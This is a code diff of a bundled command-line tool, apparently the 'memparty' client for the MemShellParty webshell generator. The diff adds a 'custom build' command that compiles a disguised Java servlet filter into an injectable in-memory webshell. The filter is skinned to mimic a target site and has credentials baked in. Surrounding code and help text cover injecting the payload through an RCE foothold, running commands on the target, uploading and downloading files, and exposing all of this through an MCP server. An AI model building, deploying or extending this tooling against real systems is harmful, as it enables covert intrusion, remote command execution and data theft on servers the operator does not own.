|
2692
|
+
function findJavac() {
|
|
2693
|
+
try {
|
|
2694
|
+
execFileSync("javac", ["-version"], { stdio: "pipe" });
|
|
2695
|
+
return "javac";
|
|
2696
|
+
} catch {
|
|
2697
|
+
throw new Error(
|
|
2698
|
+
"javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
|
|
2699
|
+
);
|
|
2700
|
+
}
|
|
2701
|
+
}
|
|
2702
|
+
function compileJava(sources, outDir, opts = {}) {
|
|
2703
|
+
const javac = findJavac();
|
|
2704
|
+
const args = ["-encoding", "UTF-8", "--release", "8"];
|
|
2705
|
+
if (opts.classpath && opts.classpath.length > 0) {
|
|
2706
|
+
args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
|
|
2707
|
+
}
|
|
2708
|
+
args.push("-d", outDir, ...sources);
|
|
2709
|
+
execFileSync(javac, args, { stdio: "pipe" });
|
|
2710
|
+
}
|
|
2711
|
+
|
|
2712
|
+
// src/custom/build.ts
|
|
2713
|
+
function profileSecretFields(profile) {
|
|
2714
|
+
const shapes = profileRequests(profile);
|
|
2715
|
+
const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
|
|
2716
|
+
return fields.length > 0 ? fields : ["pass"];
|
|
2717
|
+
}
|
|
2718
|
+
function defaultClassName() {
|
|
2719
|
+
return `MimicFilter${randomString(4)}`;
|
|
2720
|
+
}
|
|
2721
|
+
async function buildCustomMemshell(input3, client, deps = {}) {
|
|
2722
|
+
const compile = deps.compile ?? compileJava;
|
|
2723
|
+
const jarOf = deps.servletJar ?? servletApiJar;
|
|
2724
|
+
const className = input3.className ?? defaultClassName();
|
|
2725
|
+
const shellType = input3.shellType ?? "Filter";
|
|
2726
|
+
const urlPattern = input3.urlPattern ?? "/*";
|
|
2727
|
+
const packer = input3.packer ?? "DefaultBase64";
|
|
2728
|
+
const cipher = resolveCipher(input3.profile.cipher);
|
|
2729
|
+
const templates = profileTemplates(input3.profile).map((t) => t.template);
|
|
2730
|
+
if (templates.length === 0) {
|
|
2731
|
+
throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
|
|
2732
|
+
}
|
|
2733
|
+
const outDir = input3.outDir;
|
|
2734
|
+
const packageDir = join5(outDir, "mimic");
|
|
2735
|
+
mkdirSync4(packageDir, { recursive: true });
|
|
2736
|
+
const javaSource = renderFilterJava({
|
|
2737
|
+
className,
|
|
2738
|
+
pass: input3.pass,
|
|
2739
|
+
secret: input3.secret,
|
|
2740
|
+
fields: profileSecretFields(input3.profile),
|
|
2741
|
+
templates,
|
|
2742
|
+
cipher
|
|
2743
|
+
});
|
|
2744
|
+
const javaFile = join5(packageDir, `${className}.java`);
|
|
2745
|
+
writeFileSync3(javaFile, javaSource, "utf8");
|
|
2746
|
+
compile([javaFile], outDir, { classpath: [jarOf()] });
|
|
2747
|
+
const classFile = join5(packageDir, `${className}.class`);
|
|
2748
|
+
const shellClassBase64 = readFileSync5(classFile).toString("base64");
|
|
2749
|
+
const response = await client.generateMemShell({
|
|
2750
|
+
shellConfig: {
|
|
2751
|
+
server: input3.server,
|
|
2752
|
+
shellTool: "Custom",
|
|
2753
|
+
shellType,
|
|
2754
|
+
targetJreVersion: resolveJreVersion(input3.jdk ?? "java8")
|
|
2755
|
+
},
|
|
2756
|
+
shellToolConfig: {
|
|
2757
|
+
shellClassName: `mimic.${className}`,
|
|
2758
|
+
shellClassBase64
|
|
2759
|
+
},
|
|
2760
|
+
injectorConfig: { urlPattern },
|
|
2761
|
+
packer
|
|
2762
|
+
});
|
|
2763
|
+
const payloads = {};
|
|
2764
|
+
if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
|
|
2765
|
+
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
2766
|
+
const file = join5(outDir, `payload-${name}.txt`);
|
|
2767
|
+
writeFileSync3(file, `${value}
|
|
2768
|
+
`, "utf8");
|
|
2769
|
+
payloads[name] = file;
|
|
2770
|
+
}
|
|
2771
|
+
} else if (response.packResult !== void 0) {
|
|
2772
|
+
const file = join5(outDir, "payload.txt");
|
|
2773
|
+
writeFileSync3(file, `${response.packResult}
|
|
2774
|
+
`, "utf8");
|
|
2775
|
+
payloads[packer] = file;
|
|
2776
|
+
}
|
|
2777
|
+
const result = {
|
|
2778
|
+
className,
|
|
2779
|
+
fullClassName: `mimic.${className}`,
|
|
2780
|
+
injectorClassName: response.memShellResult.injectorClassName,
|
|
2781
|
+
packer,
|
|
2782
|
+
server: input3.server,
|
|
2783
|
+
shellType,
|
|
2784
|
+
urlPattern,
|
|
2785
|
+
pass: input3.pass,
|
|
2786
|
+
secret: input3.secret,
|
|
2787
|
+
cipher,
|
|
2788
|
+
response,
|
|
2789
|
+
files: {
|
|
2790
|
+
java: javaFile,
|
|
2791
|
+
classFile,
|
|
2792
|
+
manifest: join5(outDir, "manifest.json"),
|
|
2793
|
+
payloads
|
|
2794
|
+
}
|
|
2795
|
+
};
|
|
2796
|
+
const manifest = {
|
|
2797
|
+
tool: "mimic",
|
|
2798
|
+
createdAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
2799
|
+
profile: input3.profile.name,
|
|
2800
|
+
server: result.server,
|
|
2801
|
+
shellType: result.shellType,
|
|
2802
|
+
urlPattern: result.urlPattern,
|
|
2803
|
+
packer: result.packer,
|
|
2804
|
+
className: result.fullClassName,
|
|
2805
|
+
injectorClassName: result.injectorClassName,
|
|
2806
|
+
pass: result.pass,
|
|
2807
|
+
key: result.secret,
|
|
2808
|
+
cipher: result.cipher,
|
|
2809
|
+
note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
|
|
2810
|
+
connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
|
|
2811
|
+
files: result.files
|
|
2812
|
+
};
|
|
2813
|
+
writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
|
|
2814
|
+
`, "utf8");
|
|
2815
|
+
return result;
|
|
2816
|
+
}
|
|
2817
|
+
|
|
2818
|
+
// src/commands/custom.ts
|
|
2819
|
+
function registerCustomCommand(program) {
|
|
2820
|
+
program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
|
|
2821
|
+
new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
|
|
2822
|
+
"after",
|
|
2823
|
+
`
|
|
2824
|
+
The full loop (see docs/mimic-memshell-guide.md):
|
|
2825
|
+
1. write a site profile memparty profile init acme --site https://acme.cn
|
|
2826
|
+
2. build the shell memparty custom build --profile acme --server Tomcat
|
|
2827
|
+
3. inject payload-*.txt via your foothold (RCE / existing shell / upload)
|
|
2828
|
+
4. connect + exec memparty connect -u <url> -t mimic --profile acme ...
|
|
2829
|
+
|
|
2830
|
+
Delivery is NOT part of this command \u2014 it only builds the payload.
|
|
2831
|
+
Requires a JDK (javac on PATH) and a MemShellParty backend (--api).
|
|
2832
|
+
`
|
|
2833
|
+
).action(async (opts, cmd) => {
|
|
2834
|
+
const globals = cmd.optsWithGlobals();
|
|
2835
|
+
const fail = (message) => {
|
|
2836
|
+
reportError(message, opts.json ? ["--json"] : []);
|
|
2837
|
+
process.exitCode = 1;
|
|
2838
|
+
};
|
|
2839
|
+
let profile;
|
|
2840
|
+
try {
|
|
2841
|
+
profile = loadProfile(opts.profile);
|
|
2842
|
+
} catch (err) {
|
|
2843
|
+
fail(err instanceof Error ? err.message : String(err));
|
|
2844
|
+
return;
|
|
2845
|
+
}
|
|
2846
|
+
const pass = opts.pass ?? randomString(10);
|
|
2847
|
+
const secret = opts.key ?? randomString(16);
|
|
2848
|
+
const outDir = opts.out ?? `${opts.profile}-build`;
|
|
2849
|
+
const client = createClient(globals);
|
|
2850
|
+
const started = Date.now();
|
|
2851
|
+
try {
|
|
2852
|
+
const result = await buildCustomMemshell(
|
|
2853
|
+
{
|
|
2854
|
+
profile,
|
|
2855
|
+
server: opts.server,
|
|
2856
|
+
shellType: opts.type,
|
|
2857
|
+
pass,
|
|
2858
|
+
secret,
|
|
2859
|
+
urlPattern: opts.urlPattern,
|
|
2860
|
+
packer: opts.packer,
|
|
2861
|
+
jdk: opts.jdk,
|
|
2862
|
+
outDir
|
|
2863
|
+
},
|
|
2864
|
+
client
|
|
2865
|
+
);
|
|
2866
|
+
logOp({
|
|
2867
|
+
category: "gen",
|
|
2868
|
+
action: "custom-build",
|
|
2869
|
+
ok: true,
|
|
2870
|
+
durationMs: Date.now() - started,
|
|
2871
|
+
detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`,
|
|
2872
|
+
meta: {
|
|
2873
|
+
profile: profile.name,
|
|
2874
|
+
server: result.server,
|
|
2875
|
+
shellType: result.shellType,
|
|
2876
|
+
packer: result.packer
|
|
2877
|
+
}
|
|
2878
|
+
});
|
|
2879
|
+
if (opts.json) {
|
|
2880
|
+
const { response: _response, ...summary } = result;
|
|
2881
|
+
process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}
|
|
2882
|
+
`);
|
|
2883
|
+
return;
|
|
2884
|
+
}
|
|
2885
|
+
logInfo(`filter class: ${result.fullClassName}`);
|
|
2886
|
+
logInfo(
|
|
2887
|
+
`injector class: ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`
|
|
2888
|
+
);
|
|
2889
|
+
logInfo(`credentials: --pass ${result.pass} --key ${result.secret}`);
|
|
2890
|
+
logInfo(`cipher: ${JSON.stringify(result.cipher)}`);
|
|
2891
|
+
for (const [name, file] of Object.entries(result.files.payloads)) {
|
|
2892
|
+
logInfo(`payload [${name}]: ${file}`);
|
|
2893
|
+
}
|
|
2894
|
+
logInfo(`manifest: ${result.files.manifest}`);
|
|
2895
|
+
process.stdout.write(
|
|
2896
|
+
`
|
|
2897
|
+
next steps:
|
|
2898
|
+
1. inject the payload via your foothold (RCE defineClass / existing shell / upload)
|
|
2899
|
+
2. memparty connect -u <shell-url> -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}
|
|
2900
|
+
3. memparty exec <host>/mimic --cmd "id"
|
|
2901
|
+
`
|
|
2902
|
+
);
|
|
2903
|
+
} catch (err) {
|
|
2904
|
+
logOp({
|
|
2905
|
+
category: "gen",
|
|
2906
|
+
action: "custom-build",
|
|
2907
|
+
ok: false,
|
|
2908
|
+
durationMs: Date.now() - started,
|
|
2909
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2910
|
+
meta: { profile: profile.name, server: opts.server }
|
|
2911
|
+
});
|
|
2912
|
+
fail(err instanceof Error ? err.message : String(err));
|
|
2913
|
+
}
|
|
2914
|
+
})
|
|
2915
|
+
);
|
|
2916
|
+
}
|
|
2917
|
+
|
|
2306
2918
|
// src/connect/mimic-server.ts
|
|
2307
2919
|
import { exec } from "child_process";
|
|
2308
2920
|
import http2 from "http";
|
|
2309
|
-
function tryDecrypt(b64, aesKey) {
|
|
2921
|
+
function tryDecrypt(b64, aesKey, cipher = resolveCipher()) {
|
|
2310
2922
|
try {
|
|
2311
|
-
return
|
|
2923
|
+
return decryptField2(b64, aesKey, cipher);
|
|
2312
2924
|
} catch {
|
|
2313
2925
|
return null;
|
|
2314
2926
|
}
|
|
@@ -2388,8 +3000,9 @@ function runCommand(command, timeoutMs) {
|
|
|
2388
3000
|
async function startMimicServer(options = {}) {
|
|
2389
3001
|
const pass = options.pass ?? "pass";
|
|
2390
3002
|
const secretKey = options.secretKey ?? "key";
|
|
3003
|
+
const cipher = resolveCipher(options.cipher);
|
|
2391
3004
|
const aesKey = deriveAesKey(secretKey);
|
|
2392
|
-
const
|
|
3005
|
+
const markers = deriveMarkers(pass, secretKey, cipher);
|
|
2393
3006
|
const execTimeoutMs = options.execTimeoutMs ?? 5e3;
|
|
2394
3007
|
const skin = PAGES["/"];
|
|
2395
3008
|
const server = http2.createServer((req, res) => {
|
|
@@ -2397,14 +3010,14 @@ async function startMimicServer(options = {}) {
|
|
|
2397
3010
|
const chunks = [];
|
|
2398
3011
|
req.on("data", (c) => chunks.push(c));
|
|
2399
3012
|
req.on("end", () => {
|
|
2400
|
-
let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey);
|
|
3013
|
+
let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
|
|
2401
3014
|
if (command === null) {
|
|
2402
3015
|
const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
|
|
2403
|
-
if (query) command = tryDecrypt(query, aesKey);
|
|
3016
|
+
if (query) command = tryDecrypt(query, aesKey, cipher);
|
|
2404
3017
|
}
|
|
2405
3018
|
if (command === null) {
|
|
2406
3019
|
const header = req.headers[pass.toLowerCase()];
|
|
2407
|
-
if (typeof header === "string") command = tryDecrypt(header, aesKey);
|
|
3020
|
+
if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
|
|
2408
3021
|
}
|
|
2409
3022
|
if (command === null) {
|
|
2410
3023
|
res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
|
|
@@ -2412,9 +3025,9 @@ async function startMimicServer(options = {}) {
|
|
|
2412
3025
|
return;
|
|
2413
3026
|
}
|
|
2414
3027
|
void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
|
|
2415
|
-
const b64 =
|
|
3028
|
+
const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
|
|
2416
3029
|
res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
|
|
2417
|
-
res.end(
|
|
3030
|
+
res.end(injectFragment(skin, markers.wrap(b64)));
|
|
2418
3031
|
});
|
|
2419
3032
|
});
|
|
2420
3033
|
return;
|
|
@@ -2532,7 +3145,7 @@ function registerExecCommand(program) {
|
|
|
2532
3145
|
"Execute a command on a deployed webshell and print its output"
|
|
2533
3146
|
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
2534
3147
|
new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
|
|
2535
|
-
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key
|
|
3148
|
+
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
|
|
2536
3149
|
new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
2537
3150
|
).option(
|
|
2538
3151
|
"--header-name <name>",
|
|
@@ -2641,11 +3254,11 @@ the OS inside its payload, so --os does not apply.
|
|
|
2641
3254
|
}
|
|
2642
3255
|
|
|
2643
3256
|
// src/commands/gen.ts
|
|
2644
|
-
import { readFileSync as
|
|
3257
|
+
import { readFileSync as readFileSync7 } from "fs";
|
|
2645
3258
|
import { Option as Option3 } from "commander";
|
|
2646
3259
|
|
|
2647
3260
|
// src/core/output.ts
|
|
2648
|
-
import { writeFileSync as
|
|
3261
|
+
import { writeFileSync as writeFileSync4 } from "fs";
|
|
2649
3262
|
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
2650
3263
|
function hasBinaryExtension(path) {
|
|
2651
3264
|
const lower = path.toLowerCase();
|
|
@@ -2657,7 +3270,7 @@ function shouldDecode(opts) {
|
|
|
2657
3270
|
return false;
|
|
2658
3271
|
}
|
|
2659
3272
|
function emitPayload(payload, opts, sinks = {}) {
|
|
2660
|
-
const writeFile = sinks.writeFile ?? ((p, d) =>
|
|
3273
|
+
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
|
|
2661
3274
|
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
2662
3275
|
const decoded = shouldDecode(opts);
|
|
2663
3276
|
if (opts.outFile) {
|
|
@@ -2681,31 +3294,6 @@ function emitPayload(payload, opts, sinks = {}) {
|
|
|
2681
3294
|
|
|
2682
3295
|
// src/core/request-builder.ts
|
|
2683
3296
|
import { randomInt as randomInt3 } from "crypto";
|
|
2684
|
-
|
|
2685
|
-
// src/core/jdk.ts
|
|
2686
|
-
var JDK_VERSIONS = {
|
|
2687
|
-
java6: 50,
|
|
2688
|
-
java8: 52,
|
|
2689
|
-
java9: 53,
|
|
2690
|
-
java11: 55,
|
|
2691
|
-
java17: 61,
|
|
2692
|
-
java21: 65
|
|
2693
|
-
};
|
|
2694
|
-
function resolveJreVersion(input3) {
|
|
2695
|
-
if (input3 === void 0 || input3 === "") return void 0;
|
|
2696
|
-
if (typeof input3 === "number") return input3;
|
|
2697
|
-
const normalized = input3.trim().toLowerCase();
|
|
2698
|
-
if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
|
|
2699
|
-
const withPrefix = `java${normalized}`;
|
|
2700
|
-
if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
|
|
2701
|
-
const num = Number(normalized);
|
|
2702
|
-
if (Number.isInteger(num) && num > 0) return num;
|
|
2703
|
-
throw new Error(
|
|
2704
|
-
`Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
|
|
2705
|
-
);
|
|
2706
|
-
}
|
|
2707
|
-
|
|
2708
|
-
// src/core/request-builder.ts
|
|
2709
3297
|
var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
|
|
2710
3298
|
"SpEL",
|
|
2711
3299
|
"SpELSpringGzipJDK17",
|
|
@@ -2786,7 +3374,7 @@ function buildProbeRequest(opts) {
|
|
|
2786
3374
|
}
|
|
2787
3375
|
|
|
2788
3376
|
// src/wizard/memshell-wizard.ts
|
|
2789
|
-
import { readFileSync as
|
|
3377
|
+
import { readFileSync as readFileSync6 } from "fs";
|
|
2790
3378
|
import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
|
|
2791
3379
|
var JDK_CHOICES = [
|
|
2792
3380
|
{ name: "server default", value: "" },
|
|
@@ -2854,7 +3442,7 @@ async function runMemShellWizard(client) {
|
|
|
2854
3442
|
}
|
|
2855
3443
|
case "Custom": {
|
|
2856
3444
|
const file = await input({ message: "Path to custom .class file" });
|
|
2857
|
-
opts.shellClassBase64 =
|
|
3445
|
+
opts.shellClassBase64 = readFileSync6(file).toString("base64");
|
|
2858
3446
|
break;
|
|
2859
3447
|
}
|
|
2860
3448
|
default:
|
|
@@ -2895,7 +3483,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
|
|
|
2895
3483
|
function toOptions(o) {
|
|
2896
3484
|
let shellClassBase64 = o.shellClassBase64;
|
|
2897
3485
|
if (o.shellClassFile) {
|
|
2898
|
-
shellClassBase64 =
|
|
3486
|
+
shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
|
|
2899
3487
|
}
|
|
2900
3488
|
return {
|
|
2901
3489
|
server: o.server,
|
|
@@ -3079,12 +3667,12 @@ Examples:
|
|
|
3079
3667
|
// src/mcp/server.ts
|
|
3080
3668
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
3081
3669
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
3082
|
-
import { writeFileSync as
|
|
3670
|
+
import { writeFileSync as writeFileSync5 } from "fs";
|
|
3083
3671
|
import { z } from "zod";
|
|
3084
3672
|
|
|
3085
3673
|
// src/core/localfile.ts
|
|
3086
|
-
import { existsSync as
|
|
3087
|
-
import { dirname as dirname3, join as
|
|
3674
|
+
import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
|
|
3675
|
+
import { dirname as dirname3, join as join6, resolve } from "path";
|
|
3088
3676
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
3089
3677
|
function remoteBasename(remotePath) {
|
|
3090
3678
|
const trimmed = remotePath.replace(/[/\\]+$/, "");
|
|
@@ -3101,18 +3689,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
3101
3689
|
);
|
|
3102
3690
|
}
|
|
3103
3691
|
target = name;
|
|
3104
|
-
} else if (
|
|
3692
|
+
} else if (existsSync5(localArg) && statSync(localArg).isDirectory()) {
|
|
3105
3693
|
if (!name) {
|
|
3106
3694
|
throw new Error(
|
|
3107
3695
|
`cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
|
|
3108
3696
|
);
|
|
3109
3697
|
}
|
|
3110
|
-
target =
|
|
3698
|
+
target = join6(localArg, name);
|
|
3111
3699
|
} else {
|
|
3112
3700
|
target = localArg;
|
|
3113
3701
|
}
|
|
3114
3702
|
const abs = resolve(target);
|
|
3115
|
-
if (
|
|
3703
|
+
if (existsSync5(abs)) {
|
|
3116
3704
|
if (statSync(abs).isDirectory()) {
|
|
3117
3705
|
throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
|
|
3118
3706
|
}
|
|
@@ -3121,13 +3709,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
3121
3709
|
}
|
|
3122
3710
|
}
|
|
3123
3711
|
const parent = dirname3(abs);
|
|
3124
|
-
if (!
|
|
3712
|
+
if (!existsSync5(parent) || !statSync(parent).isDirectory()) {
|
|
3125
3713
|
throw new Error(`local directory ${parent} does not exist`);
|
|
3126
3714
|
}
|
|
3127
3715
|
return abs;
|
|
3128
3716
|
}
|
|
3129
3717
|
function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
3130
|
-
if (!
|
|
3718
|
+
if (!existsSync5(localPath)) {
|
|
3131
3719
|
throw new Error(`local file ${localPath} does not exist`);
|
|
3132
3720
|
}
|
|
3133
3721
|
const stat = statSync(localPath);
|
|
@@ -3139,7 +3727,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
3139
3727
|
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
3140
3728
|
);
|
|
3141
3729
|
}
|
|
3142
|
-
return
|
|
3730
|
+
return readFileSync8(localPath);
|
|
3143
3731
|
}
|
|
3144
3732
|
|
|
3145
3733
|
// src/version.ts
|
|
@@ -3612,7 +4200,7 @@ function createMcpServer(client) {
|
|
|
3612
4200
|
}
|
|
3613
4201
|
if (result.ok && result.data !== void 0) {
|
|
3614
4202
|
try {
|
|
3615
|
-
|
|
4203
|
+
writeFileSync5(localPath, result.data);
|
|
3616
4204
|
} catch (err) {
|
|
3617
4205
|
result = {
|
|
3618
4206
|
...result,
|
|
@@ -3905,7 +4493,7 @@ function registerMcpCommand(program) {
|
|
|
3905
4493
|
}
|
|
3906
4494
|
|
|
3907
4495
|
// src/commands/parse-classname.ts
|
|
3908
|
-
import { readFileSync as
|
|
4496
|
+
import { readFileSync as readFileSync9 } from "fs";
|
|
3909
4497
|
function registerParseClassNameCommand(program) {
|
|
3910
4498
|
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
3911
4499
|
"after",
|
|
@@ -3918,7 +4506,7 @@ Examples:
|
|
|
3918
4506
|
).action(async (base64, opts, cmd) => {
|
|
3919
4507
|
let classBase64;
|
|
3920
4508
|
if (opts.file) {
|
|
3921
|
-
classBase64 =
|
|
4509
|
+
classBase64 = readFileSync9(opts.file).toString("base64");
|
|
3922
4510
|
} else if (base64) {
|
|
3923
4511
|
classBase64 = base64.trim();
|
|
3924
4512
|
} else {
|
|
@@ -4402,7 +4990,7 @@ save is for choosing the name by hand.
|
|
|
4402
4990
|
}
|
|
4403
4991
|
|
|
4404
4992
|
// src/commands/transfer.ts
|
|
4405
|
-
import { writeFileSync as
|
|
4993
|
+
import { writeFileSync as writeFileSync6 } from "fs";
|
|
4406
4994
|
import { Option as Option7 } from "commander";
|
|
4407
4995
|
function parseExtraHeaders4(lines) {
|
|
4408
4996
|
const headers = {};
|
|
@@ -4476,7 +5064,7 @@ function printResult(result, localPath, savedAs, json) {
|
|
|
4476
5064
|
function registerDownloadCommand(program) {
|
|
4477
5065
|
program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
4478
5066
|
new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
|
|
4479
|
-
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key
|
|
5067
|
+
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
4480
5068
|
"--remote-charset <label>",
|
|
4481
5069
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
4482
5070
|
).option(
|
|
@@ -4541,7 +5129,7 @@ is never overwritten unless --force is given.
|
|
|
4541
5129
|
let writeError;
|
|
4542
5130
|
if (result.ok && result.data !== void 0) {
|
|
4543
5131
|
try {
|
|
4544
|
-
|
|
5132
|
+
writeFileSync6(localPath, result.data);
|
|
4545
5133
|
} catch (err) {
|
|
4546
5134
|
writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
|
|
4547
5135
|
result = { ...result, ok: false, error: writeError };
|
|
@@ -4567,7 +5155,7 @@ is never overwritten unless --force is given.
|
|
|
4567
5155
|
function registerUploadCommand(program) {
|
|
4568
5156
|
program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
4569
5157
|
new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
|
|
4570
|
-
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key
|
|
5158
|
+
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
4571
5159
|
"--remote-charset <label>",
|
|
4572
5160
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
4573
5161
|
).option(
|
|
@@ -4783,7 +5371,7 @@ async function startRepl(build) {
|
|
|
4783
5371
|
|
|
4784
5372
|
// src/cli.ts
|
|
4785
5373
|
function buildProgram() {
|
|
4786
|
-
const program = new
|
|
5374
|
+
const program = new Command10();
|
|
4787
5375
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
4788
5376
|
"--api <url>",
|
|
4789
5377
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
@@ -4813,6 +5401,7 @@ Every subcommand has its own examples: memparty <command> --help
|
|
|
4813
5401
|
registerLogCommand(program);
|
|
4814
5402
|
registerParseClassNameCommand(program);
|
|
4815
5403
|
registerProfileCommand(program);
|
|
5404
|
+
registerCustomCommand(program);
|
|
4816
5405
|
registerDemoCommand(program);
|
|
4817
5406
|
registerVersionCommand(program);
|
|
4818
5407
|
registerMcpCommand(program);
|